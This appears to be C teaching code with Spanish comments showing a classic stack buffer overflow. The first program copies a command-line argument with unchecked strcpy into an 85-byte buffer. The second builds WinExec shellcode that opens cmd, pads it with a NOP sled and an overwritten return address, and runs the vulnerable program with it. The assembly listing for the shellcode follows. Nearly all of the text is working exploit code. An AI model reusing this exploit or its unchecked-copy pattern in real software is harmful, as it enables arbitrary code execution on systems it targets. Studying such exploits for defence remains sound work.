#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  char buffer[85];
  system("pause");
  strcpy(buffer,argv[1]);   
  return 0;
}

#include <stdio.h>
#include <windows.h>

int main()
{
  char s[]={
            0x6a,0x63,
            0xc6,0x44,0x24,0x01,0x6d,
            0xc6,0x44,0x24,0x02,0x64,
            0x8b,0xc4,
            0xbf,0xaf,0xa7,0xe9,0x77, // mov edi,77E9A7AF WinExec
            0x6a,0x01,
            0x50,
            0xff,0xd7,0x90,  // nops
            0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,
            0x08,0xFF,0x22,0x22,0x22,0x00}; //ret
               
  char s2[122]="vuln.exe "; //nombre del programa vulnerable

  memcpy(&s2[9],s,114);   //copiar shellcode al buffer
  printf("\nEl buffer es: %s\n",s2);
  WinExec(s2,1);   
  return 0;
}

      push 63h
       mov byte ptr [esp+1],6dh
       mov byte ptr [esp+2],64h  
       mov eax,esp                      
       mov edi,77E9A7AFh    ; WinExec      
       push 1                              
       push eax                          
       call edi